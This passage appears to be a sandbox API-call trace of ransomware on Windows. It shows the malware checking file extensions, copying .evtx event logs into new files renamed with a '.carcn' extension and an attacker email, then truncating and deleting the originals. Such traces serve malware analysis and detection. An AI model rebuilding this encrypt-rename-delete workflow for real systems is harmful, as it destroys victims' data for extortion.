(lpString1=".ppt", lpString2="evtx") returned -1 [0178.796] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0178.797] lstrlenW (lpString=".zip") returned 4 [0178.797] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0178.797] lstrlenW (lpString=".rar") returned 4 [0178.797] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0178.797] lstrlenW (lpString=".bz2") returned 4 [0178.797] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0178.797] lstrlenW (lpString=".7z") returned 3 [0178.797] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0178.797] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0178.797] lstrlenW (lpString=".dbf") returned 4 [0178.797] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0178.797] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0178.797] lstrlenW (lpString=".1cd") returned 4 [0178.797] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0178.797] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0178.797] lstrlenW (lpString=".jpg") returned 4 [0178.797] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0178.797] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0178.797] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0178.797] lstrlenW (lpString=".doc") returned 4 [0178.797] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0178.797] lstrlenW (lpString=".docx") returned 5 [0178.797] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0178.797] lstrlenW (lpString=".pdf") returned 4 [0178.797] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0178.797] lstrlenW (lpString=".xls") returned 4 [0178.797] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0178.797] lstrlenW (lpString=".xlsx") returned 5 [0178.797] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0178.797] lstrlenW (lpString=".ppt") returned 4 [0178.797] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0178.797] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0178.797] lstrlenW (lpString=".zip") returned 4 [0178.797] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0178.798] lstrlenW (lpString=".rar") returned 4 [0178.798] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0178.798] lstrlenW (lpString=".bz2") returned 4 [0178.798] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0178.798] lstrlenW (lpString=".7z") returned 3 [0178.798] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0178.798] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0178.798] lstrlenW (lpString=".dbf") returned 4 [0178.798] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0178.798] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0178.798] lstrlenW (lpString=".1cd") returned 4 [0178.798] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0178.798] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0178.798] lstrlenW (lpString=".jpg") returned 4 [0178.798] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0178.798] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0178.798] lstrlenW (lpString="Microsoft-Windows-Bits-Client%4Operational.evtx") returned 47 [0178.798] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0178.798] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=69632) returned 1 [0178.799] CloseHandle (hObject=0x36c) returned 1 [0178.799] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx")) returned 0x20 [0178.799] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0178.799] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0178.799] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0178.799] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0178.799] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0178.799] GetLastError () returned 0x0 [0178.799] ReadFile (in: hFile=0x36c, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x11000, lpOverlapped=0x0) returned 1 [0178.858] WriteFile (in: hFile=0x310, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x11010, lpOverlapped=0x0) returned 1 [0178.860] ReadFile (in: hFile=0x36c, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0178.860] WriteFile (in: hFile=0x310, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x132, lpOverlapped=0x0) returned 1 [0178.860] SetEndOfFile (hFile=0x310) returned 1 [0178.861] CloseHandle (hObject=0x310) returned 1 [0178.862] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0178.862] SetEndOfFile (hFile=0x36c) returned 1 [0178.864] CloseHandle (hObject=0x36c) returned 1 [0178.865] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0178.865] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx")) returned 1 [0178.865] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0178.865] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0178.865] lstrlenW (lpString=".doc") returned 4 [0178.865] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0178.865] lstrlenW (lpString=".docx") returned 5 [0178.865] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0178.865] lstrlenW (lpString=".pdf") returned 4 [0178.865] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0178.865] lstrlenW (lpString=".xls") returned 4 [0178.865] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0178.865] lstrlenW (lpString=".xlsx") returned 5 [0178.865] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0178.865] lstrlenW (lpString=".ppt") returned 4 [0178.865] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0178.865] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0178.865] lstrlenW (lpString=".zip") returned 4 [0178.865] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0178.866] lstrlenW (lpString=".rar") returned 4 [0178.866] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0178.866] lstrlenW (lpString=".bz2") returned 4 [0178.866] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0178.866] lstrlenW (lpString=".7z") returned 3 [0178.866] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0178.866] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0178.866] lstrlenW (lpString=".dbf") returned 4 [0178.866] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0178.866] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0178.866] lstrlenW (lpString=".1cd") returned 4 [0178.866] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0178.866] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0178.866] lstrlenW (lpString=".jpg") returned 4 [0178.866] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0178.866] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0178.866] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0178.866] lstrlenW (lpString=".doc") returned 4 [0178.866] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0178.866] lstrlenW (lpString=".docx") returned 5 [0178.866] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0178.866] lstrlenW (lpString=".pdf") returned 4 [0178.866] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0178.866] lstrlenW (lpString=".xls") returned 4 [0178.866] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0178.866] lstrlenW (lpString=".xlsx") returned 5 [0178.866] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0178.866] lstrlenW (lpString=".ppt") returned 4 [0178.866] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0178.866] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0178.866] lstrlenW (lpString=".zip") returned 4 [0178.866] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0178.866] lstrlenW (lpString=".rar") returned 4 [0178.866] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0178.866] lstrlenW (lpString=".bz2") returned 4 [0178.867] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0178.867] lstrlenW (lpString=".7z") returned 3 [0178.867] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0178.867] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0178.867] lstrlenW (lpString=".dbf") returned 4 [0178.867] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0178.867] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0178.867] lstrlenW (lpString=".1cd") returned 4 [0178.867] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0178.867] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0178.867] lstrlenW (lpString=".jpg") returned 4 [0178.867] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0178.867] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0178.867] lstrlenW (lpString="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 63 [0178.867] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0178.867] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=69632) returned 1 [0178.867] CloseHandle (hObject=0x36c) returned 1 [0178.867] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx")) returned 0x20 [0178.867] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0178.868] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0178.868] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0178.868] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0178.868] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0178.868] GetLastError () returned 0x0 [0178.868] ReadFile (in: hFile=0x36c, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x11000, lpOverlapped=0x0) returned 1 [0179.012] WriteFile (in: hFile=0x310, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x11010, lpOverlapped=0x0) returned 1 [0179.014] ReadFile (in: hFile=0x36c, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0179.014] WriteFile (in: hFile=0x310, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x152, lpOverlapped=0x0) returned 1 [0179.014] SetEndOfFile (hFile=0x310) returned 1 [0179.014] CloseHandle (hObject=0x310) returned 1 [0179.016] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0179.016] SetEndOfFile (hFile=0x36c) returned 1 [0179.017] CloseHandle (hObject=0x36c) returned 1 [0179.017] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0179.017] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx")) returned 1 [0179.017] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0179.018] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0179.018] lstrlenW (lpString=".doc") returned 4 [0179.018] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0179.018] lstrlenW (lpString=".docx") returned 5 [0179.018] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0179.018] lstrlenW (lpString=".pdf") returned 4 [0179.018] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0179.018] lstrlenW (lpString=".xls") returned 4 [0179.018] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0179.018] lstrlenW (lpString=".xlsx") returned 5 [0179.018] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0179.018] lstrlenW (lpString=".ppt") returned 4 [0179.018] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0179.018] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0179.018] lstrlenW (lpString=".zip") returned 4 [0179.018] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0179.018] lstrlenW (lpString=".rar") returned 4 [0179.018] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0179.018] lstrlenW (lpString=".bz2") returned 4 [0179.018] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0179.018] lstrlenW (lpString=".7z") returned 3 [0179.018] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0179.018] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0179.018] lstrlenW (lpString=".dbf") returned 4 [0179.018] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0179.018] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0179.018] lstrlenW (lpString=".1cd") returned 4 [0179.018] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0179.018] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0179.018] lstrlenW (lpString=".jpg") returned 4 [0179.018] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0179.018] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0179.018] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0179.018] lstrlenW (lpString=".doc") returned 4 [0179.018] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0179.019] lstrlenW (lpString=".docx") returned 5 [0179.019] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0179.019] lstrlenW (lpString=".pdf") returned 4 [0179.019] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0179.019] lstrlenW (lpString=".xls") returned 4 [0179.019] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0179.019] lstrlenW (lpString=".xlsx") returned 5 [0179.019] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0179.019] lstrlenW (lpString=".ppt") returned 4 [0179.019] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0179.019] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0179.019] lstrlenW (lpString=".zip") returned 4 [0179.019] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0179.019] lstrlenW (lpString=".rar") returned 4 [0179.019] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0179.019] lstrlenW (lpString=".bz2") returned 4 [0179.019] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0179.019] lstrlenW (lpString=".7z") returned 3 [0179.019] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0179.019] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0179.019] lstrlenW (lpString=".dbf") returned 4 [0179.019] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0179.019] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0179.019] lstrlenW (lpString=".1cd") returned 4 [0179.019] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0179.019] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0179.019] lstrlenW (lpString=".jpg") returned 4 [0179.019] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0179.019] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0179.019] lstrlenW (lpString="Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 48 [0179.020] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0179.020] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=69632) returned 1 [0179.020] CloseHandle (hObject=0x36c) returned 1 [0179.020] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx")) returned 0x20 [0179.020] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0179.020] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0179.020] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0179.020] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0179.020] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0179.020] GetLastError () returned 0x0 [0179.020] ReadFile (in: hFile=0x36c, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x11000, lpOverlapped=0x0) returned 1 [0179.085] WriteFile (in: hFile=0x310, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x11010, lpOverlapped=0x0) returned 1 [0179.087] ReadFile (in: hFile=0x36c, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0179.087] WriteFile (in: hFile=0x310, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x134, lpOverlapped=0x0) returned 1 [0179.087] SetEndOfFile (hFile=0x310) returned 1 [0179.087] CloseHandle (hObject=0x310) returned 1 [0179.088] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0179.089] SetEndOfFile (hFile=0x36c) returned 1 [0179.089] CloseHandle (hObject=0x36c) returned 1 [0179.092] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0179.093] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx")) returned 1 [0179.093] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0179.093] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0179.093] lstrlenW (lpString=".doc") returned 4 [0179.093] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0179.093] lstrlenW (lpString=".docx") returned 5 [0179.093] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0179.093] lstrlenW (lpString=".pdf") returned 4 [0179.093] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0179.093] lstrlenW (lpString=".xls") returned 4 [0179.093] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0179.093] lstrlenW (lpString=".xlsx") returned 5 [0179.093] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0179.093] lstrlenW (lpString=".ppt") returned 4 [0179.093] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0179.093] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0179.093] lstrlenW (lpString=".zip") returned 4 [0179.093] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0179.093] lstrlenW (lpString=".rar") returned 4 [0179.093] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0179.093] lstrlenW (lpString=".bz2") returned 4 [0179.093] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0179.093] lstrlenW (lpString=".7z") returned 3 [0179.093] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0179.094] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0179.094] lstrlenW (lpString=".dbf") returned 4 [0179.094] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0179.094] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0179.094] lstrlenW (lpString=".1cd") returned 4 [0179.094] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0179.094] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0179.094] lstrlenW (lpString=".jpg") returned 4 [0179.094] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0179.094] lstrlenW 